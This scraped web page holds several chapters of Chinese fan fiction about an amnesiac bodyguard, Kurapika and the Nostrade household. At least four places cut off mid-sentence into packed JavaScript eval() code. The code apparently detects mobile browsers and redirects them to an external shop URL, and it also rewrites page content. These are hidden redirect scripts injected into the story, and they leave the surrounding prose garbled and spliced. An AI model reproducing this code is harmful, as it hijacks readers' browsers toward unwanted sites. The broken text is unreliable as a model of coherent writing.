“不能说是‘想起了什么’。”她微微歪过脑袋,让深红的长发落在一侧的肩膀上,“和我刚才说的所有内容一样,这也只是一个片面的概念而已,不是连续的回忆。但在某人的家里,我看到爸爸的眼镜了。金色边框的眼镜,对吧?这个样式的。” 她说着,把手指拱成圆形,举到眼睛上。这动作还挺滑稽的,但由于当下他们讨论的绝不是什么欢快的话题,于是挺有趣的动作也难免透出一点微妙的苦涩了。 “是的。”酷拉皮卡不自觉地早已抿紧了唇,“和你说的一样。” 第一次觉得她还记得过去是一件痛苦的事情。 维瑟拉特并没有意识到酷拉皮卡又在替她感到痛楚了,同样她也不太懂的他紧锁眉头的紧绷神情意味着什么。实在和梦里太不一样了,不那么想要看到他露出这样的表情。 所以她移开了目光,只看向窗外。 不知不觉,热气球都快要全部飘走了,只留下彩色的小点。热气球每日都会升起,它们将飘向何处呢,是否会回到启航的地方?不知道。谁都没有和她说过。 “也就是说。”忽然听到酷拉皮卡说,“某人杀死了你的父亲,是吗?” “我不想给出太武断的答案,但就我想到的这部分来说,可能是的。” 她在这时候倒是把话语说得分外严谨。但也是被她这么说了之后,酷拉皮卡才隐隐想起了一件事——他以前的确没有在死难者的名单里见到过她父亲的名字。 酷拉皮卡记得,在他离开村子的那天,小维的爸爸刚巧才外头回来,沧桑到彻底瘪下去的面孔当然在诉说着他找寻未果。即便如此,他还是伸出手,摸了摸酷拉皮卡的头,说,孤身在外一定要小心。 所以,自然而然地认为,当那场杀戮的灾难降临之时,他也在那里,最后的信息只能被登记为“因遗体破坏过度严重故无法辨明身份的死难者”。 但如果那段时间他再度外出了的话……好像从这个角度思考也想不到什么合理的推测或是更多线索。 “某人希望你能杀死揍敌客,是不是意味着,揍敌客一家是他的仇人?”酷拉皮卡还是想从这个角度入手,“你还能记起更多和某人有关的事情吗?” “想起来的部分已经全部告诉你了。如果能想到更多,以后我会再告诉你。” “好。” 也不知道下次会是什么时候了,记忆不是定时宠物喂食器,固定在某个时间就会吐出一部分的记忆——哪有这种好事。酷拉皮卡不想坐等机会出现,他要紧紧抓住当下的线索。 “我会继续追踪‘揍敌客的仇人’的这条线索。”他说着说着,话语变成了自言自语的嘀咕,“之前拜访揍敌客家的时候倒是没有看到或者听到和这有关的什么事,想要再拜访一次大概也很难了……还是问问奇犽吧。” 有目光从发丝的空隙之间射过来,随即而来的才是话语,“你在说的是什么?” 酷拉皮卡第一次看维瑟拉特把眼睛睁得这么圆,明明一直以来她都更习惯保持着眼睛半睁不睁的状态,只会把眼球稍稍上移,越过耷拉的眼皮去看人。但现在她真的完全把眼睛睁开了,看起来和小时候很像,露出的却是同幼年时截然不同的表情,酷拉皮卡第一次觉得也不是非要与过去相似才好。 他清了清嗓子,“我说,我会问问揍敌客家的人关于某人的事,因为揍敌客家的其中一个儿子是我在猎人考试中认识的伙伴,他是个和揍敌客杀手这个身份不太一样的人……所以你可以把刀放下吗,小维?” 要不是被他说了,维瑟拉特可能完全不会发现自己抽出了藏在衣服里最大的那把弯刀,冷冰冰的银色利刃正对准着酷拉皮卡呢。 “抱歉,下意识的动作。”她立刻把刀收回去,“可能是因为一听到‘揍敌客’就行动起来了,你别放在心心上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069813|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我没有在针对你……不对,这话是席巴·揍敌客和我说的。” 她的面孔瞬间拧了起来,像是吃到柠檬,但比被酸涩感激起的难看表情,她的脸上更多的是恼怒。 “他说完这话就把我脑袋钉在地上了,真过分。我很生气。” 酷拉皮卡注视着她,很意外的露出了有些懵怔的表情,片刻后,忽然笑了一声——以很难过的表情、明显在为她的伤痛感到同情和难过的神态下,笑了一声。 准确地说,不是一声,而是好几声——他根本笑个不停。 在感到难过的时候还能笑出来吗?有点不合常理,至少维瑟拉特不理解。 对于老板的行为不要提出质疑,可如果是太奇怪的行为,就很难不问问为什么了。 “怎么了?”她合理地进行推测,“脑袋被钉在地上是值得笑的事情吗?” 她这话没有在阴阳怪气,而是真的很困惑。原来酷拉皮卡会因为这种事高兴吗? “不是的,不是的。”他抬起手,轻轻捂着嘴,“我也觉得席巴做得很过分,当然同样替你难过,只是……很久没看到你发脾气的样子了,好难得。” “哦……” 其实还是不太明白,也代入不进他的心情。 维瑟拉特耐心地等待着酷拉皮卡收拢笑意,视线也习惯性地耷拉下去了。 一直盯着老板会显得很不礼貌。落下的目光不经意来到酷拉皮卡垂低的手上,看到了缠绕的锁链,正在因为他的笑声而在轻轻颤动。 用锁链作为武器,好少见。 他也一定注意到了她的视线,向她伸出手。 “你可以摸摸看。” “好。”她轻轻攥住锁链,“硬邦邦的……有点冷。” “……嗯。” “你们俩怎么一副很开心的样子?”早早醒来的珀斯帕希斯以一副看好戏的表情看着两人,“虽然我也不想打断你们,但还是早点送我去空港吧,可以吗?” 雇主的需求最优先,这就出发去空港吧。好巧,今天的停机坪上也有一只鹿,撒开腿欢快地朝珀斯帕希斯的方向跑过来。一旁的地勤人员都不敢靠近,可能又怕被鹿顶,又担心触犯神明。维瑟拉特没有那么多讲究,直接抓住鹿角,把它推到了远处。回头,发现珀斯帕希斯正看着她笑。 “你还记得我对鹿毛过敏的事情呢?谢谢你。” 维瑟拉特茫然地摇了摇头,“不……我好像不记得这件事情。” “可你还是把鹿赶走了,不是吗?” “是的。” “那就足够啦。记忆是不会消失的,因为正是记忆塑造了你的一举一动哟。祝你未来顺利,维瑟拉特。” 珀斯帕希斯登上飞行艇,关门前还在向他们招手。 “再见咯,你们快回家吧!” 回家。 其实已经没有可以回去的家了。 对于酷拉皮卡而言,诺斯拉不是真正的家,只是暂且停留的场所。那在维瑟拉特的心里,她对“家”的定义会是怎样的? 想要知道,却也不愿问她,担心询问会刺伤她,或是怕听到的话语会让自己难以心安。 所以,还是不考虑这些事情了吧。 他收起目光,轻轻推着维瑟拉特往前走。 “回去吧。” 40.陌生感x对话x你得帮我 此处是很漂亮的宅邸——还没有真正地踏进诺斯拉家的宅邸内部,维瑟拉特就已经冒出了这样的念头。 会导致她这么想的原因,当然是这里的外墙都漾着一层贝母的光泽,在夕阳下漂亮得不像话,绝对是精致且昂贵的涂料才能够达成的效果。这也是为什么她会习惯性地收拢目光,脑袋随之耷拉下去,把多余的动作全部收起来,存在感也顺便降到了最低。 她知道的,在迈过大门之后,自己就已经算是进入别人家的地界了,她必须控制好自己的视线动向,不礼貌的东张西望行为决不能做出来,以免她的眼睛会遭殃。 在卡尔玛拉家留下的人生教训是深刻到脑袋被打碎了一百次也忘不掉的经验,她直到今天都好好地记着呢。 要沿着长长的石砖小路一直往前走,才能真正走近宅邸的大门。维瑟拉特默不作声地前进,目光克制地只盯着自己的鞋尖——沾到一团狗毛了。原来这里养狗了吗?她想着,依旧低着头。 在这段路上,她只有一次抬起了眼,是因为酷拉皮卡用手背碰了碰她的,锁链也随之很轻地撞在了骨头上,没什么感觉,甚至没有意识到锁链撞上来了,但维瑟拉特听到了清脆的动静,她耷拉的脑袋才迟疑着抬起来,看向酷拉皮卡。 还以为老板有什么命令,可他说的确实:“难道你的脖子不酸吗?” 这样的说话方式太实在含蓄了点,完全没有明白他的言下之意,还有点困惑他怎么突然说脖子的事情。 “不会酸。”她很认真地就事论事,“肌肉酸痛也是一种痛觉,我感受不到。” 他们之前,好像偶尔就是会出现这种状似信息不对称的对话呢。 酷拉皮卡无奈地笑了笑,其实也习惯了。“我的意思是,在这里你可以抬起头往前走。” 他也逐渐感觉到了,和维瑟拉特说话,还是得用最直白的言语才行。弯弯绕绕没有意义。 所以他要很干脆地说:“这里不是卡尔玛拉家,不会有人伤害你。” 酷拉皮卡没办法向她承诺说诺斯拉家肯定是百分之百完美的地方,至少这里没有糟到连房梁都爬满了邪恶和贪婪。 “好,我明白了。”她的头好像真的稍稍抬起来了一点,所以酷拉皮卡能够看到她极其微弱地皱起的眉头,“我把卡尔玛拉家事情和你说了,是吗?” “是的。” “好。” 居然连这种事都说了。维瑟拉特完全想象不到自己到底是在什么场合下把自己的人生教训告诉酷拉皮卡的。 当然,这可不是什么恐怖的事情,只是多少有些不可思议罢了。她想,自己未免也太信任酷拉皮卡了。这么说绝不是在暗示现在的她对酷拉皮卡并无任何信任,只是一定没有强烈到连最后一次感受到的痛楚都要剖开来摆到他面前的程度。 该怎么往前走呢,低着头还是昂首挺胸?没想好。 人生教训是难改的旧习,逼迫她一切如旧,老板的命令又是必须遵守之物,不贯彻不行。截然不同的两派行动在她心里打架,而至关重要的她的脑袋,只能维持在一种不算抬起也不像是垂低的角度,微妙地让她感到骨头似乎在缓慢移位。 保持着这种投机取巧的状态,她顺利地走进了诺斯拉家。 关于自己在诺斯拉家发生过的事情,维瑟拉特差不多全部忘记了——连酷拉皮卡和他说起过的窟卢塔的事情,在她的脑海中都只是留下了浅浅的印子而已,想要完全记住诺斯拉家的事情真的有点太难了。 说不定走进宅邸之后能够想起一些什么呢?旋律先前希望满满地这么说过,让维瑟拉特也继承了她的乐观猜想,可惜现在得为这个可能性画上句点了。行走在暖烘烘的房间里,她冻住的记忆完全没能融化。 譬如现在,维瑟拉特丝毫察觉到那个坐在茶几上不停用手拨弄着鲜切花的少女是妮翁·诺斯拉,也肯定没办法从她不高兴的表情中,推测出她的不满源于和父亲在伪造占卜这件事上的不认同,也不知道她故意不和回来的任何人说话就是在赌气没错。 这个家的氛围、摆设、人物,甚至是从暖气管道里吹出来的风,全都带着初见的陌生,不熟悉的这一切却没有给维瑟拉特带来新奇感。她以一种相当诡异的状态接受了这一切。 绕着宅邸走了一圈,最后回到了地下室。据说她的房间在这里。 地下的寝室,整个房间只有很纤细的一扇窄小气窗,不算豪华,也一定不简陋。被当做烟灰缸的茶杯被杯盖盖住,肯定是因为这样,好久之前的烟灰才留在这里,谁都忘了要清理掉。 鬼使神差,维瑟拉特端起杯子,轻嗅一口,然后又摸出口袋里的烟盒闻了闻。嗯,味道的是一样的——自己果真在这里住过。 她倒不是在怀疑自己是诺斯拉成员的真实性。只是,毫无记忆的地方竟然留有自己曾经存在的痕迹,这实在很微妙,即便维瑟拉特不知道此刻的自己究竟冒出了怎样的心情,也还是能感觉到心跳的幅度和往日截然不同。 是好的不同,还是不好的不同?嗯……这个嘛,她也不知道。 重新盖上杯盖,既然已经拿出了香烟,那就干脆抽掉吧。维瑟拉特划亮火柴,敲门声阻断了火苗烧着烟草,她放下香烟,却忘了火柴的事,就这么揪着燃烧的小火苗去开门。 站在门外的是一束花——考虑到花没有长脚更不会敲门,维瑟拉特的视线随即越过花枝,看向捧着花的那人。 “这次终于轮到我送给你花了。” 花束被放下来,露出一张笑脸,迫不及待地把花塞到维瑟拉特的怀里。维瑟拉特还没反应过来,又听到她叫了起来,好紧张的样子。 “火!火!烧到你的手了!” 她匆匆忙忙用宽大厚重的衣袖拍打维瑟拉特捏着火柴的那只手,没想到易燃的布居然真的阻断了这一小团火,可她看起来并不像是松了口气的样子,依然很急切地看着维瑟拉特。 “还好吗,有没有烧痛?” 她也关心着自己不会拥有的疼痛,和酷拉皮卡一样。为什么呢? 维瑟拉特从来都不明白酷拉皮卡对她的疼痛的关切源于何处,连带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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找到了名字,然后呢?还是想不起和她的事,倒是花香味先一步钻进了鼻子里。 维瑟拉特突兀地站起来。她的双腿有些不受控制了,一直踏在木地板上,带着她的思维一起在房间里打转。 再转多少圈都是一样,她想不起于亚里砂有关的经历。为什么想不起来?想要想起来……她不想被亚里砂知道自己忘却的事实。 可亚里砂说了明天见。明天就得见面了。她真的能在一晚上想起来吗? 维瑟拉特没有信心。她甚至有点……不安? 她可能并未意识到自己的心情,只是脚步又在不受控制地开始乱动,她也不确定该做什么才好,只是忽然跑起来,跑出房间,跑到楼上。 诺斯拉宅邸的熟悉感终于在此刻被稍稍唤醒。用不着怎么思考,维瑟拉特凭着直觉往前跑,一直线地抵达到了要去的房间,却忘记了要敲门,猛地一下子把门推开。 “麻烦和我说说我与亚里砂的事情……可以吗,酷拉?” 41.求助x失落的你x诚实心 维瑟拉特有种预感——或是直觉?或是猜想?或是期待?无所谓那种了,反正在她心里都是差不多的定义——她觉得酷拉皮卡肯定可以解答她的所有疑问,就和每年年底过某个大节日的时候大家都会无比爱戴的那什么老人一样,肯定是有求必应的,无论丢出怎样刁钻的问题都能得到想要的解答。虽然在今天之前她还从没有向那什么老人索求过任何东西就是了。 酷拉皮卡当然不知道自己莫名其妙地就被视作了在圣夜节钻进别人家的烟囱送礼物的圣尼古拉,也一定没有提前意料维瑟拉特会带着略显急切的表情来到他的面前询问。说真的,他一定不想要辜负她的期许,可对于维瑟拉特的询问…… “抱歉,我不太清楚你和亚里砂之间的事情。”他很抱歉地摸了摸鼻尖,“我只知道你平常和她关系挺好的,偶尔会看你们一起去遛狗。” “哦?” 诺斯拉家还养狗了吗?是了,走进宅邸的路上,鞋尖沾了狗毛,确实足以成为这个家里养了狗的最佳佐证。 但是,一起去遛狗吗? 维瑟拉特不觉得自己喜欢狗,当然也没那么讨厌。她对狗的态度和对世界上的其他东西都是一样的,状似白开水,并无半点好恶之分,只是透明地存在着而已。可她居然会和亚里砂去遛狗?根本想象不出自己与亚里砂还有一只狗走在一起的场景。这简直就像是…… 她试着回忆,想要找到一段“自己与某物不适配”的记忆来印证自己与遛狗这件事的格格不入。她总觉得自己能找到的,脑海里应当存在着这样一段对应的回忆才行,可回忆尽数落空,她什么都想不起来。 想不起狗的事情,也想不到此刻用于举例的回忆。她的脑袋里根本什么都没有。 还是回到最根本的目的上吧,她不要被想不起来的事情困扰。 维瑟拉特清楚自己过来的目的。她想要了解亚里砂的事情,为此需要知道更多讯息。 “你说的狗,是亚里砂自己养的狗,还是替首领养的狗?宠物犬吗?诺斯拉的人喜欢狗?” 维瑟拉特丢出自己能想到的全部可能性,第一次发现自己的思考能力好贫瘠,居然只能说出这么一丁点平平无奇的可能性——比起过去略有提升的思考能力,如今看来依旧显得相当贫瘠。 还好酷拉皮卡不觉得这有什么。能提出三种猜想怎么算是思考能力贫瘠?他很可能还会这么安慰她。 不过,这会儿他相当就事论事,只在琢磨着她的问题,给出了对应的回答:“那些都是护卫犬,有十几只。莱特先生和妮翁小姐是否喜欢狗,我不太清楚,或许没那么喜欢,不过亚里砂一定很在乎那些小狗们吧。但那些小家伙们原本也不是亚里砂的狗。是先前的护卫饲养的。” 先前的护卫?维瑟拉特似乎想到了点什么。 “你说的是史……拉……呃……之类的,有点长的名字。”可惜想得一点也不准确,“是大概有着这样名字的人养的吗?” “是的,他叫史库瓦拉。”酷拉皮卡顺便纠正她,“他以前是亚里砂的恋人。” 在他们说话的途中,他还在忙不停地翻动桌上的文件,当然是和他们的对话完全无关的内容,是纯粹的家族事务,但还能分出了一部分的专注给到她的疑问上。 “我明白了。” 她应着声,却没有点头,习惯性地耷拉着脑袋。她不是没有注意到酷拉皮卡在说起此人时用到的是过去式,无论这个过去式对应的是怎样的可能性,看起来最好都不要再亚里砂面前提及比较好。 多多少少对于亚里砂的认知增加一点了——明明说着“对你和亚里砂之间的事情不太清楚”,酷拉皮卡实际上还是说了挺多的嘛。维瑟拉特还想要知道更多,可惜接着追问下去,就只能得到他为难的表情了。 “如果是你的事情,我可能知道的会多一点,可以先前从没有怎么和我说过亚里砂的事情。而且,对于亚里砂,我的了解真的不多,刚才说到的一些事情,差不多就是全部了。没能帮到你,很对不起。” “没关系。” 虽然不算是意料之中,但维瑟拉特也不会因此冒出什么没必要的负面心情,她本来就足够无知了,如今只是保持现状而已。倒是酷拉皮卡很忐忑的样子,为了没能为他解惑而感到抱歉——就算维瑟拉特已经说了无所谓,也还是会觉得很不好意思的程度。 他会冒出这种心情也没什么奇怪的。维瑟拉特难得才会主动问他一些事情,无论如何都希望能够解答她的困惑,偏偏这回她的提问戳在了他的盲区之中,偏偏这还是件很重要的事情。 既然来问了他关于亚里砂的事,就是说,她和亚里砂之间的关系,是即便失去记忆之后她也渴望着能够主动重铸的吗?真让人嫉……啊不是,他怎么会嫉妒这种事。丝毫没有。没有。 也绝没有想起她生疏地在重伤恢复后的第一眼,称呼他为“酷拉老板”的回忆。 甩甩脑袋,丢掉那点有些自私的小小念头吧。不管怎样,酷拉皮卡都不希望让她的期待落空。 他重新回想着关于亚里砂的一切,不过该说的他都说了,除此之外就只会是他的主观想法而已,譬如像是,他对亚里砂的印象是“她很温和”,即便落泪时也不会发出痛哭声。和他很像,她也是挨过了失去的痛苦的人。所以…… “直接告诉她也没关系吧?”酷拉皮卡提议,“与其表现得一切正常,不如坦诚相告。我想亚里砂不会生气或是怎样。毕竟,你并不是故意忘记和她之间的事情。” 他这么说的时候,维瑟拉特都已经准备回去了,迈出的步伐咚一下钉在木地板上,她的动作也随之停了几秒,而后才突兀地拧过身子,看向酷拉皮卡,嘴唇几乎没动,从齿缝里挤出拒绝。 “不行。” 说着这话的她带着一如既往的平淡面孔,话语里也听不出什么鲜明的兴趣,可总觉得除此之外她的每部分都透着抗拒,包括一下子就垂下去的风衣。 酷拉皮卡不知道她为什么会拒绝,在他看来,这是比佯装无事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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维瑟拉特不会知道酷拉皮卡的忧虑,只有藏在口袋里的手一直在动,一会儿摸摸烟盒,一会儿又敲打火柴盒,别扭地仰着头,目光落在天花板的角落。今晚可能是她第一次冒出这么多小动作。 她也花了点时间思考,寻找着合适的整理话语的方式。 还好,尽管耗费了比预期之中更长的事件,她还是出声了。 “大概是因为,不想看到。” 酷拉皮卡不明白,“什么?” “不想看到她知道我丢失了记忆之后那种,五官看起来都像要融化了的又惊愕又失望的面孔。” 她低下头,异色的眼眸直直地注视着酷拉皮卡。 “就像之前你露出的表情那样。” 维瑟拉特没有喜欢的东西。她也没有讨厌的东西。 唯独那般失落的表情,会让她感到极其强烈的“不喜欢”。 42.好恶感x厌恶x我会改正满百收藏加更 维瑟拉特没有喜欢的东西,也没有讨厌的东西。她在好恶方面的指针总之静静地停留在最中央,只在很罕见的时刻才会发生偏移。而多数时候,它不会有任何的变化。 无论是对于食物,还是衣服,还是工作,全都一样。 只要是摆在了面前的食物就会吃下,只要是能够藏起足够多武器的衣服就会穿上,只要是托付给她的工作就会完成,不必非得用“喜欢”或者“讨厌”做出划分,好恶感不会为这些既定的事情产生任何的动摇,维瑟拉特也不觉得自己还有除了眼前选项之外更多的选择余地。 况且,无论是做出选择还是提出意见,势必都需要进行思考才能做到吧,她本来就不那么擅长、也不习惯进行思考,所以还是别想了。停止了思考,好恶感的指针便更加没有晃动的可能性。 所以,会对酷拉皮卡说出那样的话,一定是因为她进行了思考——原因不明,但他现在确实开始思考了。 或许她还是会对端到桌上的食物不挑不检,把不合时宜的衣服披在身上,着手处理力不能及的工作,但唯独不想看到酷拉皮卡沮丧到近乎失落的表情。一想到同样的表情会移植到亚里砂的脸上,她就觉得自己的心跳都要变得扭曲了。 不想看到那样的神情。不喜欢看到那样的神情。 不是讨厌——如果用上这个词,就想在说她讨厌酷拉皮卡。可她不讨厌他,那种厌恶的情绪只是纯粹的“不喜欢”和“不想看”。 当自己说破了这件事之后,当下的场景会变成怎般模样呢?维瑟拉特早就做好了心理准备,现状也完全没有辜负她的期待,陷入了理所应当的死寂之中。 酷拉皮卡不自然地睁着眼,和往常一样贴在眼球上的深黑色隐形眼镜似乎能够盖住他的思绪,至少当维瑟拉特注视他时,她并不能知道他在想什么——真是和任何时候一样。倒是能从深色的镜片上看到自己的倒影,可惜她也不那么确定自己现在藏着怎样的思绪。 她一向很有耐心,如果酷拉皮卡需要时间思考,她会等到这个过程结束,哪怕要用上很久很久。 还好,实际上也没有耗费那么久。他很快就垂下了眼,似乎是要躲避她的目光,片刻后才重新看着她。 看着她,并且说出了对不起。 “我不知道那时候我的反应伤害到了你,我会向你道歉,未来我一定不会再做出同样的事情。” “你已经道歉过了,不用再重复一遍。”她顿了顿,才接着说,“你当时的反应很像是无意识的条件反射,我认为你无法控制。” 也就是说,下一次他还是会露出她不想看到的那种表情、 “嗯……是的。” 这一点酷拉皮卡无论如何都无法否认,毕竟事实就是如此。 无法否认,但至少可以解释。 “那时候,我很担心你。我知道你遭遇了一场苦战,很担心你会不会出事,但你好好地站在那里,依旧呼吸着、活着。我根本来不及松一口气,你已经呼唤了我——用我们最初见面时的那种生疏的称呼。我意识到,你又因为重伤丢掉了记忆。我不知道你还能记得什么,但你一定不记得很多和我有关的事情了,否则你不会那样喊我。你还能想起来吗?我根本不知道。我当然很想充满信心和希望,可是……完全做不到。” 丢失的那些记忆,会是告诉她的过去的记忆,也一定是如今他们一起度过的回忆。她会不会再度想起他们一起走在阿科力街头的事情?酷拉皮卡只能拼命去想,至少她还记着自己。 为她所铭记的而庆幸,为她忘却的而悲戚,一定是这般复合的情绪,才让那一晚的他露出了维瑟拉特口中的,仿佛五官都要融化一般的悲伤。 “但是,我并没有对你失望。”这是必须要说明的,“失望的前提是做错了什么事情,或至少是没能满足他人的期待,但这一切都没有发生在你的身上,我也不必对我感到失望。无论如何,既然你告诉了我你的想法,那我会改正的。小维,谢谢你告诉了我这些事。“ “不客气。”她很给出了认真的答复,以及突兀的提问,“你对我有怎样的期待?” 问起这是并非是什么突发奇想,纯粹是酷拉皮卡刚才的话语中说到了“期待”而已。她对此感到……好奇。 “我吗?我的话……”他讪讪地笑着,“你能快乐地、平安地、自由地活着,就是我的期待了吧。” “了解。我会努力的。” 维瑟拉特微微颔首,很认真地应着。以她的信用度,一定从这一秒就开始在为了他的期待而努力了吧。 其实也不必那么努力的。 酷拉皮卡叫住她,对她说:“亚里砂一定也不会对你失望的,虽然我不那么清楚她对你的期待是什么。” 他果然还是很在意她们之间的事情,但这次一定不会是因为什么悄然的嫉妒心在作祟。 “坦白地告诉她发生了什么吧,如果你不觉得言语太困难的话,也可以告诉她你心里是怎么想的。毕竟坦率才是最重要的,不是吗?我想,如果是亚里砂的话,她一定不会像我一样过分沮丧。她只会为你活着回来这件事而高兴。” “……好。” 她明白了。 所以,最后真的还是坦白了——在维瑟拉特询问过旋律之后确认自己好像真的没办法获取到和亚里砂更多的认知之后,才选择了坦白的。 和酷拉皮卡说的不太一样,亚里砂也露出了很伤心的表情,或许程度没有他那么深,但真的很明显。 “哪里受伤了?”亚里砂抹着眼泪,上上下下地打量她。 面对着这样一幅表情,维瑟拉特觉得自己只能让回答拐个弯,说:“伤口已经全部愈合了。” “但你肯定很疼啊!” “我也疼,受伤的这件事对我来说没什么影响。不和你说,是因为不想被你知道我忘掉了很多事情。” “没事的!我又不会生气!”亚里砂很倔强地仰着下巴,“以前的事情,忘掉就忘掉了,之后再创造新的回忆就好……最重要的是,你活着回来了。” 她的尾音都在颤抖,鼻尖倏地涨红,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082674|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是又要掉眼泪了吧。 “我们第一次见面的时候,你对不安的我说,可以把我对死亡的恐惧全部放在你的身上,因为你是不会死的……对不起,我觉得我还是很难做到这件事。我还是担心你会和史库瓦拉一样。” 亚里砂伸出手,轻轻抚摸她的发梢。 “答应我,无论如何,要好好活着,也一定要珍惜生命,好吗?” 根深蒂固的冲动让维瑟拉特想说不必担心,紧接着的下一句话肯定也是一如既往的“我不会死”。但是,是亚里砂的话语太真切了吗,还是直到此刻她依然在望着自己落泪,像酷拉皮卡那样,为了维瑟拉特无法感知到的痛苦而痛心吗?维瑟拉特还是没能说出公式化的话语,只是点了点头,说,我明白了。 相较之下,当她和芭蕉说起自己重伤失忆的事情之后,他的关注点就完全歪掉了,虽然不是没有表达关切,但紧接着的话语就是“你怎么击退席巴·揍敌客的?”,纯粹的好奇在发挥着作用。 “我没有击退它,他自己收到委托结束的指示后撤退了。”维瑟拉特解释说。 “但你至少从他手下活下来了。怎么做到的?” 维瑟拉特努力想了想。其实那天的事情她也记不清太多了,记忆最清晰的部分大概是,“我自爆了。” “哦……自爆……” 芭蕉没怎么听懂,难怪要多嘴追问。 “意思是你向她暴露了你是诺斯拉家的护卫,然后把人吓跑了的意思吗?” “不是的。”维瑟拉特更正着他的错误认知,“我说的自爆是物理层面和字面意义上的自爆。我自己整个人爆炸了。” 芭蕉挺意外,“你还能做到这种事呐?” “是的。” 他稍稍夸张地“嚯!”了一声,“本来还以为你就是很按部就班的小孩,没想到做起事情来挺有魄力的嘛,一看就知道是和我学的!” ……是吗? 维瑟拉特的疑问还没来得及说出口,芭蕉宽大的手掌就落下来了,把她的后背拍得啪啪响,肺泡里的空气也差点一并被拍出来,呼吸好困难。好在他及时收回了手,伸进口袋里,摸索着什么东西。 好奇怪,维瑟拉特的神经倏地紧绷起来了。她有那么一点不好的预感。 芭蕉摸出木板。“给你写一首诗吧!主题当然是赞美你孤注一掷的战斗!”他的笔已经动起来了,过分洋溢的灵感泼洒在木板上,“你今天想怎么赞美都没问题!” 好吧,现在她已经感到汗流浃背而且整个脊背的肌肉都收紧了,这是正常的吗? 还好有亚里砂救她于水火之中,相当及时地来找她一起去遛狗。 这段时间工作不忙——其实连诺斯拉家现在正忙活着什么,维瑟拉特都不知道。 “悠悠闲闲的不也挺好嘛。”亚里砂是这么认为的,“对了,今天还有其他人和我们一起遛狗,可以吗?” “嗯。”维瑟拉特没意见。 不过,她也确实没想到,亚里砂说的那个人,会是妮翁·诺斯拉。 43.粗毛线围巾x深秋x闲聊 “咦,看到我在这里,你居然一点都不惊讶吗。” 妮翁靠在门框旁,本就很可爱的一双圆眼睛在这会儿被睁得更圆,里头却没有藏着与之匹配的疑惑,很可能这句询问只是无聊的随口一说,她并不是真的对此好奇。 “难道你不觉得大小姐来遛护卫犬是很诡异的事情吗?”她还玩笑似的这么说。 维瑟拉特眨眨眼。 该怎么说呢,她可能是有一点惊讶吧,这点情绪恰巧被她一贯死板的面孔掩饰住了而已。 或是说,妮翁会跟着她还有亚里砂一起遛狗这件事,还没有惊讶到会让维瑟拉特的下巴往下掉的程度——可能暂时也没有能够达到这种效果的大事件存在。 “我明白了。”维瑟拉特轻而易举地就接受了妮翁也会一同前来遛狗的安排,视线只在她的身上停了一秒钟,就转头看向亚里砂了,“现在就出发吗?” “你要是没有急事要处理的话,我们就赶紧走吧。这个季节,也就只能趁着中午暖和的几个小时去带着这些孩子们出去散步了。”亚里砂歪着身子说话,变成这样当然是因为急切地想要出门的小狗们在拉拽着被她牵在手里的狗绳,“今天降温了,我觉得你还是系上围巾比较好。” 毕竟维瑟拉特现在穿着的这件鸡心领毛衣光是看着就让人觉得好冷。 她很配合地点点头,“好。谢谢提醒。” 最近逐渐能感觉到温度了,不算太敏感,还没有到能够感受到宅邸内暖气的程度,但至少冬日的冷风钻进脖颈里时,她会清晰地感到寒意扎进骨头里的感觉。不舒适。 维瑟拉特摘下挂在衣架上的粗毛线围巾(是亚里砂以前给史库瓦拉织的,转赠给了她,她成功捡到便宜了),转头和芭蕉说一声自己下午回来,正准备跟上亚里砂,却被芭蕉叫住了。 “帮我买只毛笔回来吧,这支笔用太久了,变得有点……不太好用。”他特地拿着笔在纸片上划拉了两下才终于给出了这个结论,“麻烦去柯街的文具店买樱花牌的狼毫小笔,中号即可,麻烦了。” “好。” 维瑟拉特应了声,但是一动不动,让芭蕉觉得很莫名。 “你不是该走了吗?亚里砂还在等你呢。”他小小地催了催她。 “是的。但你还没给我钱。” “啊?” 维瑟拉特耐心地重复了一遍,顺便把手也伸出来了,“买毛笔的钱,还没给我。” 好嘛,原来在等这个。 芭蕉又觉得恼怒又有点想笑,好无奈地从怀里摸出钞票,重重地拍到她手上。 “拿着吧!你这家伙还真是一如既往地较真。”芭蕉笑着抱怨,还添上一句话故意用来呛她,“找零记得还给我。” “明白。” 维瑟拉特把钱塞进口袋,这才动起来,快步跟上亚里砂,踩着小狗们的脚步一起走出诺斯拉的宅邸。 